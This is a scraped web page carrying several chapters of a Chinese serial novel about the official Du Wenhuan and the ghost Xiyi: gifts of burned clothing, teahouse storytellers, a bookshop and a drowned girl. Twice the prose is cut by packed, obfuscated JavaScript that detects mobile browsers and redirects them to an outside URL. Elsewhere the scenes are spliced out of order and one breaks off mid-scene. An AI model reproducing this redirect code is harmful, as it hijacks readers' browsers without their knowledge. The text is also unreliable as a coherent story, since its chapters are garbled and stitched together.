杜文焕一边安静地听着,一边琢磨这家人,尤其是那个老妇说大姑娘离不了别人,却似乎顾忌着什么似的,不愿说清。 但很快他就得到了答案。 在周霁雪说自己可以为她们诊治时,老妇最后的疑心也被打消了,领着他们敲开了门。 来应门的是一个着青衣的丫鬟,听老妇说明来意后,就让另一人去告诉大姑娘。得到许可后,青衣丫鬟领着他们见到了大姑娘。 在见到她的那一刻,杜文焕终于明白为什么之前老妇语气如此遮掩又带着怜悯。 这大姑娘生得极美,眉如远山,口若含朱,皮肤白皙,不染凡俗,仿佛一块无暇的美玉。但她那一双墨色的眼睛里没有一点光彩。 她,是个瞎子。 “客人,请坐吧。”她的声音十分平静而安适,又带着恰到好处的礼节,倒不像外表那么难以让人接近。 众人落座。 “小女子程玉和,听马大娘说,有一位周道长医术高明,可以为小妹诊治。不知道是哪位?” 杜文焕旁边的周霁雪站起身往前走了一步:“贫道周霁雪,是从平日救助的一些病人口中得知,东街有一户人家里有一病人昏迷不醒。今日恰巧与友人经过这里,见只有这里大门紧闭,恰逢马大娘外出归家,一问才知原来是这。” 杜文焕心里知道这番话是周霁雪临时瞎编的,但也配合他道:“在下杜文焕,对医术颇感兴趣,常与周道长交流一二,或许可以添上几分助力。” 不过这宅子确实有些古怪,十分冷清,没什么活气。 一路走过去,有几丛竹子和一处池塘。竹叶已然发黄,竹身倒是青葱翠绿。池中有一块大石,上面用楷书题有“静石”二字,旁边有八字:“云中世界,静里乾坤”。 池中的水清澈见底,水流声潺潺,有活水引入。 18. 隐患 书接上回,杜文焕打算把从缀锦阁买的衣裳送给希夷。 此刻他正坐在书房里提笔写奏折,要将前几天破案的细节全部上奏给皇帝。 可是他刚写了几个字,思绪就不知道飞去哪里。 笔尖的墨渐渐凝聚成一滴,趁杜文焕不注意,重重落在纸面上,糊染了他没写多少字的奏折。 杜文焕这才回过神,叹了一口气,眼眸里的光在烛光下一晃一晃的。 他心中繁杂,干脆就停笔,又将那本不能用的奏折放在一边,站起身来。 “叮铃铃”,风吹过风铃的声音在窗边响起,杜文焕回过头,心中有些紧张。 希夷果然站在那,她身上仍然穿着那件半旧不新的麻布衣裳,笑盈盈地朝他走来。 他深吸一口气,一时竟不知做什么动作,手边不远处就放着打算送给希夷的衣裳。 他此时却开始纠结起一些不相干的问题。 比如送女子衣裳是不是不大礼貌,会不会显得太轻浮了? 她会不会更喜欢自己身上那身衣裳,自己送的东西她不喜欢,却不好意思拒绝,让她觉得勉强了怎么办? 他这么想着,呆呆站在那里,等希夷走近,疑惑地用手在他面前晃了晃方才回神。 “你怎么在发呆?”希夷问。 “没,没什么。”杜文焕说,犹豫不是他的性格,只顿了一下,便从旁拿出一个玫红菱格花纹的长盒子,递给希夷,“给你的。” 希夷打开一看,是两件衣裳,看起来倒像是当下时兴的款式。 “给我的?”她惊讶道。 “嗯。”杜文焕僵硬地点点头,余光打量着希夷的反应。 希夷将衣裳展开,上衣下裳以及披帛一应俱全,配色相得益彰,即使不用手去摸,从肉眼也可知道做工精巧,布料精贵。 她很久没在意过衣裳的事了,忽见这么漂亮的衣裳,心中的欢乐怎么也掩饰不住,惊喜而感激地看了杜文焕一眼,说:“谢谢!” 看得出她很开心,杜文焕心里的石头也放了下来。 “不过······”希夷的手垂了下来,将衣裳整理好放回盒子里,语气十分失落,“我只是一只鬼魂,你忘了吗?这种活人穿的衣裳我是穿不了的。” “这并不是问题。”杜文焕不大想让她不开心,忙说,“只要烧掉,你就可以穿上了。” 希夷摇摇头,失落之色在她脸上只存在了一瞬间,她笑着说:“可是给特定的鬼魂需要一些媒介啊,比如墓碑、骨灰、生辰八字什么的。可是这些我都没有。” “对着那个陶罐可以吗?”杜文焕想到那个媒介。 希夷倒没想到这一茬,愣愣地说:“应该可以?” “那你等我一下。” 杜文焕从一个隐蔽的角落将陶罐拿出,又拿来火盆和火折子。 说烧就烧,先从那件桃红衣裳烧起。 等最后一片衣角烧尽,蹲在火盆旁的杜文焕方才出声对身后的希夷道:“怎么样?” 希夷看着渐渐出现在自己身上的衣裳,说:“可以了。” 杜文焕转过头,惊在原地。 眼前人青丝半挽,桃红发带垂到肩旁,额间几缕不听话的碎发冒出头,添了几分娇俏。 袖口的绿叶栩栩如生,桃花点缀的裙摆随着轻纱摇荡,仿佛就要乘云而去。 希夷高兴地原地转了一圈,问:“怎么样?” “很,很不错。”杜文焕移开眼睛,语气里充满慌张。 “快要天亮了,”希夷接过,看外边越来越亮,“我该走了。” 杜文焕看着希夷转过身,心中忽然一空,慌忙叫住她:“等等!” “怎么了?”希夷回过头,不解地看着他。 “我······”杜文焕刚刚只是下意识不想让她离开,叫住人之后却哑了声。 “你怕我又像之前一样几天不见吗?”希夷安慰他,“我总不可能这么倒霉吧,连续几次遇见要抓我的。放心放心。” “你为什么不留在这呢?” “嗯?” “我的意思是,”杜文焕低着头看自己的脚,“在我这挺安全的。” “哎呀呀,”希夷笑道,“别人是怕被鬼缠上,你是生怕鬼不缠上你。一开始你还怕我,恨不得离我天远呢。” “不,不是这样,”杜文焕慌忙解释,“我已经找到让你留在人间的方法了,所以这几日你就留在我这,我们也好及时商讨办法。” “留在人间?”希夷歪了歪头,“我不应该去投胎么?” “个中原由比较复杂,你等我明日给你解释。”杜文焕的声音越来越小,并不确定。 “好啊。” 他抬起头,撞进希夷带着笑意的眼睛,心忽然一沉,随即重重撞击胸膛,似乎快要跳出来了。 和她待在一起总是很开心,就好像心上陈旧的刻痕都被一一抹平,心又变得活跃起来。 “不过我需要一个藏身处,”希夷开口打断了他的思绪,“在白天,鬼魂需要一个阴暗的地方躲藏,我之前一直躲在罐子里,你这有罐子么?” 住罐子,这么惨?杜文焕摇了摇头,希夷又说:“附身在器物上也行,玉石之类的东西可以温养魂魄,当然是最好。如果没有,饰物之类的也可以。” 杜文焕想了想,自己这书房并没有什么古玩,玉佩也没戴在身上。他找遍全身,从颈上摸出一条长命锁来。犹豫了一会,还是取下来给希夷看。 “这个长命锁,是我从小戴着的。” 希夷看着那枚长命锁,手指触上去,有种熟悉的感觉。这枚长命锁是纯银做的,通体泛着白色的银光,四角雕有精细的祥纹,中间刻着“富贵长命”四字,下坠有三颗红豆大的银珠,小巧浑圆,一看就是富贵人家才有的东西。 只是仔细一看,中间有修补的痕迹,似乎是被利刃一类的东西穿过。 希夷并未深究,这几天她的魂魄一直隐隐不适,像是要被撕扯开一样。刚才杜文焕问她家人的时候,撕扯的感觉更加强烈。 这枚长命锁却似乎可以填补魂魄的裂隙一样,碰到之后有种熟悉又安适的感觉。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12420053|131938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “这个可以吗?” “可以,”希夷笑道,“这是给你赐福的东西,如果我可以受这福气,对魂魄自然是很好的。” 希夷一个转身就不见了,杜文焕手里的长命锁里幽幽传出声音:“这样就可以了。那我先睡啦,你也去睡吧。” 杜文焕把长命锁收起来,回了房。一桩心事快要了结,他放下心来,心中安定,睡意袭来,朦朦胧胧地睡着了。 待他睡着之后,脖子上挂着的长命锁一动,希夷从里边钻出来。 鬼魂是不会睡觉的。 她没想到杜文焕会把贴身佩戴的长命锁拿出来。这东西能辟邪挡灾,不过对她没用,这东西里面的福气能给她也不是假的,愿力可以滋养魂魄。 她静静蹲在床边,看着他熟睡的模样。 希夷仔细打量着他,她从没这么仔细地看过别人。这么一看,他长得真好看呐。剑眉星目,鼻若悬胆,唇红齿白,眉目间有一股少年英气。 说起来他不过二十岁,却经历了这么多事,又是被刺又是被下毒药。她想尽力护他周全却心有余而力不足。 毕竟她白天还有很多事要办。 希夷叹了口气,又摇摇头不再想这些。她从屋外摘了根草过来,叶子轻轻扫过杜文焕的脸颊,引起一阵痒意。 杜文焕摸了摸脸颊,又翻身睡过去了。 希夷忍着笑,还想逗他,但又怕太过火吵醒他的好梦。当然杜文焕是不会生气的,只是他劳累许久,她有些不大忍心。 她站起来,想凑过去看看杜文焕是不是真的睡着了,却不想杜文焕又翻身转过来,吓了希夷一跳。 她拍拍自己不会跳的胸口,暗道还是别玩了,吓死鬼了。 只要和他一块,怎么样都是好玩的。 外面月色皎洁,希夷看着圆月,心中有一点惆怅。什么时候自己才可以与家人团聚呢?她的家人真的还活在世上吗? ······ 这时前堂的早膳已经准备好,杜老爷叫人让他前去用膳。 杜文焕整理了一下衣服,又将长命锁收进衣领,方才往前堂走去。 今日他来得早了些,桌上只有他和一早爬起来闹人的小弟杜禹。 小弟已经八岁,到了上学堂的年纪。他喜欢顽皮惹事,抓鸟捉猫已经是常事,还喜欢捉弄别人,但他功课确实十分优异,令教书先生又爱又恨。 杜夫人溺爱他,明明可以自己用碗筷,还偏偏要像小时候那样一口一口喂进嘴中。 此时乳母在一旁看着他上蹿下跳,一会摸摸这个瓷瓶,一会摆弄那个盆栽。 杜文焕并没有管教他的心思,站在一旁,随他去吵闹。 谁知这小孩太顽皮,竟然把一只价值不菲的青花瓷瓶给碰倒了。 瓷器碎裂的声音惊动了刚来的杜老爷,他见到这一幕,皱着眉头大声呵斥道:“杜禹,你在干什么!” 小孩被吓到了,站直不敢动。慌忙赶来的杜夫人见杜禹被吓得直哆嗦,忙把他揽入自己怀中,轻声安抚,又吩咐下人赶快把这里打扫干净。 19. 话本 “老爷,”杜夫人埋怨道,“禹儿他年纪还小,这个年纪男孩子谁不调皮啊,不过是一只瓷瓶,你就别吓他了。” “哼,”杜老爷坐下来,呼出来的气吹起了胡须,“都是你惯的!” “老爷别生气,”杜夫人拍了拍儿子的肩膀,让他朝杜老爷的方向靠近一些,“禹儿是顽皮了一些,可他也给你长脸啊。听学堂的夫子说,禹儿天资聪颖,不仅记得快,写的诗连夫子都自愧不如呢。” 说着,杜夫人便拿出一张纸,上面写着一首七言律诗。 “嗯,”杜老爷看完点点头,“虽然稍显稚嫩,但胜在有大志向,不错。” 听罢,杜夫人松了一口气,杜禹见父亲母亲都高兴了,也活跃起来,忙凑到杜老爷面前讨欢心。 杜文焕见他们其乐融融的样子,脸上面无表情,心里也空洞洞的,掀不起丝毫波澜。 这时杜夫人才想起杜文焕还在一边站着呢,脸上的笑容顿了一瞬,又像没事发生一样,招呼他过来坐下:“文焕,快过来。老爷,瞧你竟不提醒我,文焕还没吃饭呢。他大病初愈,可不能饿着。” 她又是唤来丫鬟给他盛饭,又是夹菜给他。 “文焕的才华也是顶尖的,”杜夫人笑道,“你要多教教你弟弟啊!” 杜老爷闻言,将杜禹的诗稿递给杜文焕:“你看看。” 杜文焕恭敬接过,一看,尚可,虽是托些常用的鸿鹄蛟龙之类的言明志向,但胜在不落俗套。 他不过刚学没多久,就可以作诗,而且像模像样的,确实可称得上聪慧过人。 “小弟所写确实不错,”他如实说,“只要刻苦肯学,未来可成大器。” 这话捧得杜夫人笑得合不拢嘴:“那就承文焕的吉言了。” 一旁的杜禹心不在焉,他的屁股止不住动来动去,觉得自己吃饱了,还没等杜文焕说完,就跑去花园玩了。 杜夫人半是责怪半是慈爱地看了他一眼,又转头对杜文焕笑道:“瞧瞧你弟弟,喜欢疯,不过这个年纪的男孩子哪有不疯的呢?” 杜文焕无言,他没什么兴趣听杜夫人说杜禹。又不好走开,勉强笑了笑,找个机会说自己用完膳就走了。 刚回到房,杜文焕就拿出长命锁,唤道:“醒了吗?刚才我用膳时忘记你还在了,他们的话是不是吵醒你了?” “唔,让我再睡会。” “?”杜文焕见她还痴痴睡着,不由得有些担心,轻声道,“怎么睡这么久,你不舒服吗?” 长命锁里没有声音。 他又问了一句,但还是没有回复。 莫非是跑出去了?但他一直戴在身上,并没有感觉。 他将长命锁放在掌心,不知她到底有没有在里面。鬼魂就像一阵风,来无影去无踪。 他不知如何表述此时心里的感觉,索性拿起旁边的书开始看,可往日读起来毫不费力的文章,现在却像是难以咀嚼的蜡头,每读一页就像拿砖头往头上砸一样。 “读你给我的书还不如用它来砸我的头。” 他笑出声来,轻轻的声音在安静的书房里回荡,又飘散开。 “······” 杜文焕收起笑容,干脆把书也放下,拿上钱袋就出了门。 东街是京城最繁荣的地方,众多商人贩卖货物都会选择这里,外域的商人也尤其偏爱这里,所以东街有着种类繁多的货物和琳琅满目的商铺。 不仅如此,人们原本只是口口相传的故事,经由书商和众多有志之士的努力,大部分都编些成册,丰富人们的娱乐。 话本以及说书先生所讲的一些故事最可以反映当下人们最好奇的事情,有趣又让人惊叹的故事流传最广,因此野史才广为流行。 杜文焕原本只是想找个地方喝口茶,上次季棠带他来的那家酒楼旁边就有一处茶楼。 他刚喝完茶准备离开,谁知一楼台上忽然乱哄哄起来,他不由得转头一看,正好听见一个头戴方巾,留着三缕胡须的老头说:“哎,来来来,诸位听我说。今天小老头就不说那些大家都听过的才子佳人的故事了,来个更有趣的。如今已经是宜妃的陆家小姐,诸位知道不知道?” 底下一人“呵”了一声,说:“这谁不知道啊,自进宫之后备受宠爱,短短几月就封为妃。” “是啊,”另一人附和道,“也不知道是何种绝色,这位娘娘还是闺阁小姐时就大门不出二门不迈的,恐怕没几人见过。” “那我有幸见过一面,”一个胖胖的,身上还有散不尽的油烟味,看着有些年纪的人道,“几年前陆府宴请宾客,我去陆府送菜,路过庭院看了一眼,她一个人在庭院赏花,的确是个百里挑一的美人!” “你怎么知道那是陆小姐,”一个身穿绸子衣服的男人不客气地笑道,“我也去过那场宴会,去的还有尚书、府尹、侍郎家的小姐,你怎么知道自己看到是哪一个?” 那个中年男人脸色气得通红:“我,我就是知道!” 绸子衣服的人轻蔑地看了他一眼,说书先生见场面快要控制不住,急忙制止道:“两位别吵啊,这宜妃娘娘自然是个绝色美人,但我们普通人怎么能瞻仰宜妃娘娘凤颜?只有陛下这样雄伟的真命天子才能得此美人。宜妃娘娘被我们这些普通人看见就沾了俗气,没看见才是正常的,才成全了与陛下这段缘分啊!” 那两人听了,都点点头,气也都消了,又和颜悦色地坐下听。 “宜妃娘娘闺名陆浮梦,家中独女,生得袅袅婷婷,貌美无双。陛下雄才伟略,创此盛世。二人自是绝配,只可惜两人未在年少时遇见,应了那句‘君生我未生,我生君已老’。幸好陛下正值壮年,虽与宜妃娘娘结不成年少夫妻,但也可共白头之约。” 杜文焕觉得有些无趣,正想离开,不想正在听的人中有个年轻书生发现了他。 “杜少卿!”年轻书生兴奋地跑过来,正是陆甲。 “嗯?”杜文焕见有些人听到声音望了过来,有些无奈,冷眼看着陆甲,后者顿时领会,赶快收住声音。 “杜少卿,您怎么在这?”陆甲道,“难道您也喜欢听这些故事?” “还好。”杜文焕敷衍着,遇到熟人的几率也太高了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12420054|131938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 陆甲显然意会错了意思,拉着杜文焕说:“那不如坐下一块听吧,这儿的碧螺春不错的,您尝尝?” “不了······”杜文焕正想拒绝,陆甲已经热情地让小二沏上了茶。 杜文焕不善应付别人单纯的好意,只好勉强坐下来,想喝两口就告辞离开。 说书先生还在侃侃而谈:“陛下要选秀女之事一传开,官家老爷们就纷纷请画师为自家未出阁的小姐绘像,再托宫里的人打点,好让陛下第一时间看到。画师绘制出的美人图那叫一个美啊,争奇斗艳。可谁知陛下一个也不感兴趣,正要让宫人把那些都拿走,谁知突然掉出来一幅画,摊开的画卷上一美人瞬间打动了陛下。这美人就是宜妃娘娘陆浮梦。要说这幅画呢,也有些门道。画师在为陆小姐画像时,正巧陆小姐身体不适,微微蹙眉,画师便把这‘西子捧心’之态绘入画中。而陛下正是被这神态打动,因为酷似他从前爱慕之人······” 杜文焕眼见周围的人越来越多,实在待不下去了,放下茶钱,对旁边的陆甲说:“我还有些事先走了。” 陆甲闻言站起身来,笑道:“正好我也听得差不多了。” 两人一块离开茶楼,杜文焕才觉得耳朵边终于清净了一点,正要开口告辞,忽然想起出门还有件事要办,便问:“陆寺丞,你知道书铭轩怎么走吗?” 陆甲道:“沿着这条街直走,看见一鱼灯笼,过三个商铺就到了。” 杜文焕点点头:“多谢。”就要抬脚离开。 “等等。” 杜文焕转头,陆甲跟上来:“正好我也有书要去那买,就与杜少卿结个伴吧。” “······”我可以拒绝吗?杜文焕觉得两人同行没有话说实在尴尬。 陆甲倒是没觉得有什么,自然地开了话题:“刚才那个说书先生所讲的事,杜少卿觉得有几分是真的?” “只是市井传闻而已,肯定有杜撰的成分,没必要纠结几分真几分假,”杜文焕道,“况且我也未曾见过宜妃娘娘,不知道哪些是真的。” “我倒是见过。”陆甲道。 杜文焕反应过来:“我记得,你也是姓陆?宜妃娘娘是你什么人?” “勉强算是堂妹吧,”陆甲笑了笑,“其实我家只是旁支而已,只是姓氏一样,早年我爹娘厚着脸皮攀了个亲戚,那时候她还是个小娃娃。” “我都不知道你们还有这层渊源。” “都很多年啦,”陆甲道,“真是光阴似箭,日月如梭啊。” 杜文焕不太想听他感叹,加快了脚步,找到那个鱼形灯笼,没多久就到了书铭轩。 还未进门便看见匾额上用金粉行书写着“书铭轩”三个大字,门外有一对联,上联为“锦绣成文原非我有”,下联是“琳琅满架惟待人求”。 进了门,就像踏入书海,各种书籍分门别类堆放着。 杜文焕随手拿起一本放在近门口处最显眼的,翻了几页,是些有趣的奇闻异事,看得人啧啧称奇,也不知作者何处想来。 有时候自己到达不了的地方,书籍可以。 20. 河岸 希夷喜欢看这些书大概也是总需要被困在物品中,难以自由行动。 虽然不知道她现在又跑去哪了,但总会回来的,还是给她买些话本之类的,免得和他待在一起时觉得无趣。 陆甲看到这些书十分兴奋,抓住一旁的掌柜问:“请问那个最新出的话本还有吗?” “你说哪本?” “就是那个······”陆甲一时想不起名字,只能张牙舞爪地描述大概内容,“就是一个富家小姐爱上了穷书生,后来书生上京赶考的故事。” “《莺莺传》?” “不是那本,那本里小姐下场太惨了,”陆甲有些不满,“是另一本,书生后来被皇家子弟赏识,在战场上建功立业的故事。” 掌柜顿时意会:“哦,你说的是《我与富家小姐不得不说的二三事》?” 陆甲拼命点头:“是的,是的。” 掌柜给他指了个方向,并好心地提醒他:“这本的结局可能也不太好哦。” “啊?”陆甲有些奔溃,“我刚发了俸禄,就等着这一口续命呢。平时办案已经很苦了,我的话本人物能不能别这么苦啊。” 一旁的杜文焕惊讶地看着他浮夸的动作,心中感叹自己居然没发现下属还有这一面,难道在大理寺待久了就会变成这样么? 掌柜有些无奈:“要不您看看我们新出的话本?” “结局好吗?”陆甲担心的只有这个。 “这······还没连载完,但青梅竹马两小无猜,肯定是终成眷属。” “好,我相信你,”陆甲看着他,“你可别骗我,之前你推荐的那本《在大理寺的十大办案法则》还不错,我可是经常放在枕边读呢。” 掌柜拍拍胸口:“我给您推荐的书自然是有保证的。” 说着他拿起一本书递给陆甲,杜文焕瞄了一眼封面,名字倒是很雅,叫《青梅误》。 陆甲付了银子,杜文焕对掌柜说:“把和这本一样的给我包起来吧。” 说着递了一块碎银:“不用找了。”掌柜笑嘻嘻地接过,赶紧将书包好递给他,恭恭敬敬道:“客官慢走。” 走出书铭轩,陆甲感叹:“少卿您真有钱啊,买本书还会给多。这就是有钱人的世界吗,羡慕。” 杜文焕无奈地说:“我用的也是刚发的俸禄。” 正这么说,却听见一群人叫嚷着往一个方向跑去。 杜文焕察觉到有些不对劲,抓住一人问:“那里怎么了?” 那人显然也是急匆匆跑来的,气喘吁吁道:“那里,河,河边死人了。” “死人了?” 杜文焕和陆甲面面相觑,两人跟着人群来到河边的石台上。 这里已经围了一些人,但都是些平民百姓站在离河边一两米的石台上看热闹。 二人沿着青石台阶下来,离河最近的地方站着两个身穿短褐的男子,看起来像是船夫。有一青衣官员和几个衙役正在勘查。 在他们身前,有一女子躺在席子上,面部苍白,身上的衣服整齐,没有挣扎的痕迹。 杜文焕走过去想看清楚一些,衙役拦住他道:“你是谁,别在这看热闹,走走走。” 还没等杜文焕拿出大理寺的令牌,一边的青衣官员认出了他,忙迎上来,惊喜道:“您可是大理寺少卿杜文焕杜少卿?” 杜文焕见这人有些面生,问:“你是?” “下官是京兆府下京县县令白术。”白术看着约莫三十四五的年纪,留着几缕胡须,眼神明亮,十分可亲。 白术又看向旁边的陆甲,问:“这位是?” “这是大理寺丞陆甲。” “陆寺丞。” “白县令。” 杜文焕看着地上那名女子,问:“白县令,这是怎么回事?” 白术一五一十地回答:“这个女子是今早这两个船夫发现的,他们在撑船时无意发现河上飘着一个人,就用船竿把她拖到船上。” “那时候,这个女子就已经死了?” “不是,”旁边那个一直听着的年轻船夫说,“俺和俺爹把她救上来之后,让她吐了几口水,还可以说话。俺们以为她还有救,就把她带到了岸上。可谁知,俺把大夫带到这来时,她,她已经没气了。” 说完,年轻船夫还加了一句:“俺们没有害她啊。” “嗯,”杜文焕拍拍他的肩膀,“救人何错之有?只要你把自己所见如实告诉我就行了。” 年轻船夫重重地点了点头。 杜文焕问:“你救她上来时,她还可以说话吗?” 年轻船夫摇了摇头:“她当时一副马上就会咽气的样子,俺不敢拿人命开玩笑,就让俺爹照看她,俺就自己跑上岸找大夫。谁知道一回来她就变成这样了。” 杜文焕又转过头去问那老船夫:“老人家,她可有清醒的时候?” 老船夫战战兢兢开口:“俺在看这女娃娃时,她有醒过来。” “说了什么没有?” 老船夫努力回忆:“她,她说还有一个,救救她。刚说完,一口气没喘上来就死了。” “还有一个?”杜若皱着眉头看向平静的河面,仿佛并没有吞噬一个年轻女子的命,“这儿还有一个落水的吗?” “下官已经差人查看,并无。”白术回答。 杜文焕蹲下查看尸体,尸体年纪不大,大概十六七岁,容貌苍白清秀,体格瘦弱,身体还很柔软,没有僵硬,应该还没有咽气多久。 全身衣服完整,露出的肌肤也没有与人打斗的痕迹,可能是附近的女子在洗衣服时失足掉入水中的。 只是手腕上有几道疤痕,看得出来是陈年旧伤,像是被利器割伤的。 陆甲在一旁问白术:“白县令,最近可有人口失踪的报案?” 白术摇了摇头:“并无。” “她今天早上才被发现,”杜文焕站起身,“如果是今早不见的,家人不会那么快发现。如果是早已失踪······白县令,麻烦你派人询问附近的居民家中是否有少女失踪。不止是这几日,往前几年的也要算入。” “下官明白。” 白术吩咐衙役将尸体抬回衙门,待仵作进行进一步的检验。 “那下官先行告辞了。”白术向杜文焕拱拱手,待着 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他往日在地方任职时,闲暇时间会去寻访民情。在做官之前,体恤民情不过是书中的记载,或是记在心里的名言。 初为地方官时,处理的就是些家长里短的小事。他嫌烦,觉得圣贤书里写的不过是些空话,有段时间掩卷不看。 只有那本不知道是哪位地方官写的日志,他看得津津有味。书里对当时的物价记载得十分详尽,也附上物价与一般人家一年维持生活所需银钱的对比。 看完之后,对比他之前在杜府大手大脚差使银钱,他方才觉得百姓生活不易,对案子也更有耐心。 如今见到这烟火人间,百姓和乐,他心中愈发想当个好官。 等休沐结束后,就决定去大理寺彻夜查办冤案! 不过······杜文焕看着街上相伴而行的父女、母子、夫妻,心中涌上一股惆怅。 在这大街上乱逛,似乎自己也成为他们其中的一员,但其实是不同的。回去实在太冷了。 他头脑一热,叫了辆马车,去了东街。 东街一如既往寂寥清冷,杜文焕不知自己这次应该寻个什么理由拜访程家。 正当他在程家附近徘徊不前时,一丝熟悉的气息使他突然警觉。那是······ 一俩马车从他面前徐徐经过,杜文焕目不转睛地盯着那辆马车,风吹起,帘子被掀起一个角,隐约可见里面是个年轻公子。 杜文焕右手手心里的长命锁愈发陷入肉中,原来不是因为惧怕阳光躲在东街,而是躲进另一人的车中。 那辆车,他曾经见刑部尚书唐修明坐过。 日暮降临,累了一天的希夷见外面的天色变得舒适,便愉快地一路飘去杜府。 路上碰到一只小野猫,直冲她喵喵叫。平日里,身为一只鬼魂,普通的人根本看不见她,她只能当一只幽幽飘过□□的鬼魂。虽然这样开始挺有意思,但玩久了实在无聊。 见这只猫并没有无视她,她升起一丝逗弄它的心思。 21. 浮梦 “我看是你肚子里没货了,干脆继续编那些才子佳人故事算了!“ “哈哈哈哈哈哈。”众人哄笑起来。 说书先生也笑了,抬手示意众人安静:“诸位,诸位,请安静。我今天讲的不是那些,绝对可以让各位满意。来来来,各位有钱的捧个钱场,没钱的捧个人场。” 几个人投了几枚铜钱,杜文焕也走过去给了几枚,顺便找了个空位坐下。 “咳咳,”说书先生清了清嗓子,“话说这京城杜府二公子杜文焕俊逸潇洒,刚及弱冠就已经官拜大理寺少卿,惹得不少姑娘春心萌动,更有媒婆多次上门说媒,却次次被拒之门外。诸位知道是为何吗?” “不知道。” 杜文焕心想,我刚好不在家。 说书先生倒是起劲了:“原因之一是这杜少卿啊有个指腹为婚的对象,杜少卿为了不食言才未娶妻。” “啊?”杜文焕的疑问被说书先生捕捉到了,后者笑道:“这位公子不知道了吧?” 他又看向众人:“诸位想知道吗?” “当然想!” “这杜少卿指腹为婚的对象就是——陆家小姐。” “陆家小姐?陆老爷不是只有一个已经进宫了的女儿么?” “不不不,”说书先生捋了捋胡须,“并不是那位现在已经是宜妃的陆小姐。” “你可别乱说,”一人比较谨慎,“陆家哪有两位小姐。” “听我说,”说书先生道,“陆家曾经还有一位表小姐,她生得聪颖秀美,粉雕玉琢。这两人虽是指腹为婚,但从没见过面。” “这表小姐的父亲与这杜老爷是好友,两家本想结秦晋之好,谁知在这表小姐五岁那年,某日不幸落入水中,捞上来时人已经断气了。她的父母悲痛欲绝,从此搬离京城,这指腹为婚的事也不了了之。” “嗳!”一人不屑道,“那你这故事不就无从查证了吗?谁知道真的假的。” “各位看官听个乐嘛,”说书先生也不恼,“杜少卿从小经历非凡,生就要为百姓谋福。诸位可知,现在的杜夫人并非他的生身母亲?” “那自然是知道。” “现在这个杜夫人,原本是杜老爷的小妾。杜老爷的原配是一个富商的女儿,生得端庄贤淑,可惜多年无所出,杜老爷就娶了一美貌小妾,第二年小妾就诞下一子。过了几年,原配夫人也有了身孕,足月后诞下麟儿。本来一家人其乐融融,可天有不测风云,原配夫人的兄长来京看她时不幸遇难,一家都死在贼众手下。原配夫人闻讯大惊,深感自责,不就便郁郁而终,留下六岁的杜少卿。杜老爷不久后扶正小妾,就是现在的杜夫人。” “那杜少卿不就惨了?后母对继子一般不会很好吧?”一人疑问道。 “不,”说书先生摇摇头,“杜夫人对杜少卿也算关怀备至,并没有害他的心思。但毕竟不是自己的亲子,偶尔也会疏忽。就在杜少卿十五岁那年,京城有一群到处流窜的贼匪,对 朝廷和官宦人家十分仇恨。官府多次围剿,本来已经悄无声息,谁知某日趁杜少卿下学堂时绑了他。本来这事及时告知官府,找人是不难的。可大公子正巧染上天花,杜老爷和杜夫人及一众仆从根本无暇顾及杜少卿。几日后,学堂夫子来问,众人一找又报了官才发现是被绑了。这时已经过去三五日了,还好当时的府尹大人当机立断······” “季小将军?” “就是谏议大夫季庭春的长子,后来战死沙场了,”说书先生道,“这季小将军生平也十分传奇,如果诸位想听······” “等等,先把杜少卿这事讲完,茶钱少不了你的。”一人说着就爽快地把一贯钱拍在说书先生面前的桌上。 “好好好,”说书先生喜笑颜开,“季小将军当时就在京城,与当时京兆府尹一起破了此案,剿灭了贼众,将浑身是伤的杜少卿救了回来。杜少卿在床上躺了几月,从此性情愈发孤僻,少与人交流了。直到他十七岁中了进士,自请外派,后来在地方多有政绩,朝廷多加褒奖,陛下命他回京,这才有了接下来的故事。” “杜少卿真是坎坷,”一人听完感叹道,“爹不疼娘不爱的,幸好天生聪慧,熬过来了。” 一书生打扮的人摇着折扇笑道:“这你就不懂了,‘天将降大任于斯人也,必先苦其心志’。要我说,没有这些困难,杜少卿未必坐得上今天的位置。” 众人你一言我一语,叽叽喳喳十分吵闹。 杜文焕被吵得有些头疼,起身给了几块碎银准备离开。 说书先生见他这么大方,不由得感激得多看了几眼,又见他面无表情的模样,以为他并不感兴趣,便道:“这位公子对杜少卿的故事不感兴趣吗?喜欢听什么样的,下次来老朽说给你听。” 一人见他见钱眼开,调侃道:“人家年轻公子,肯定更喜欢才子佳人或是书生与鬼狐的故事,你还不如继续讲孙老虎抢占民女呢!” “哎哎哎,这位看官一听你就没仔细听老朽说,孙老虎抢的可不是民女,而是官家小姐。话说这孙老虎本是知府的儿子,欺男霸女无恶不作。知府手下刘少尹有一独女刘小姐,生得美艳无双,自幼与齐兵曹的儿子是青梅竹马,两人郎才女貌十分般配。谁知这孙老虎娶了一个夫人还不够,竟想纳刘小姐为小妾······” 杜文焕见说书先生说得起劲,众人也没空管他了,于是趁机穿过人群溜出茶楼。 外面的空气果然更清爽,杜文焕心里轻快不少。 刚才说书先生所说大部分确实如此,只是季小将军早在他被绑之前就已经战死。季老爷当时悲痛欲绝,从此之后再不向人提起,连季棠都不一定记得。 至于当初他被绑匪俘获一事当时在京城也引起了轰动,有人记得不足为奇。这些市井嘈杂之地,消息传得最快,杜文焕离开茶楼之前特别留意下那个说书先生的样貌,说不定哪天办案需要用上他。 “杜大人,杜大人!”杜文焕没走几步,就听到有人叫他。 路上碰到熟人的概率这么高么? 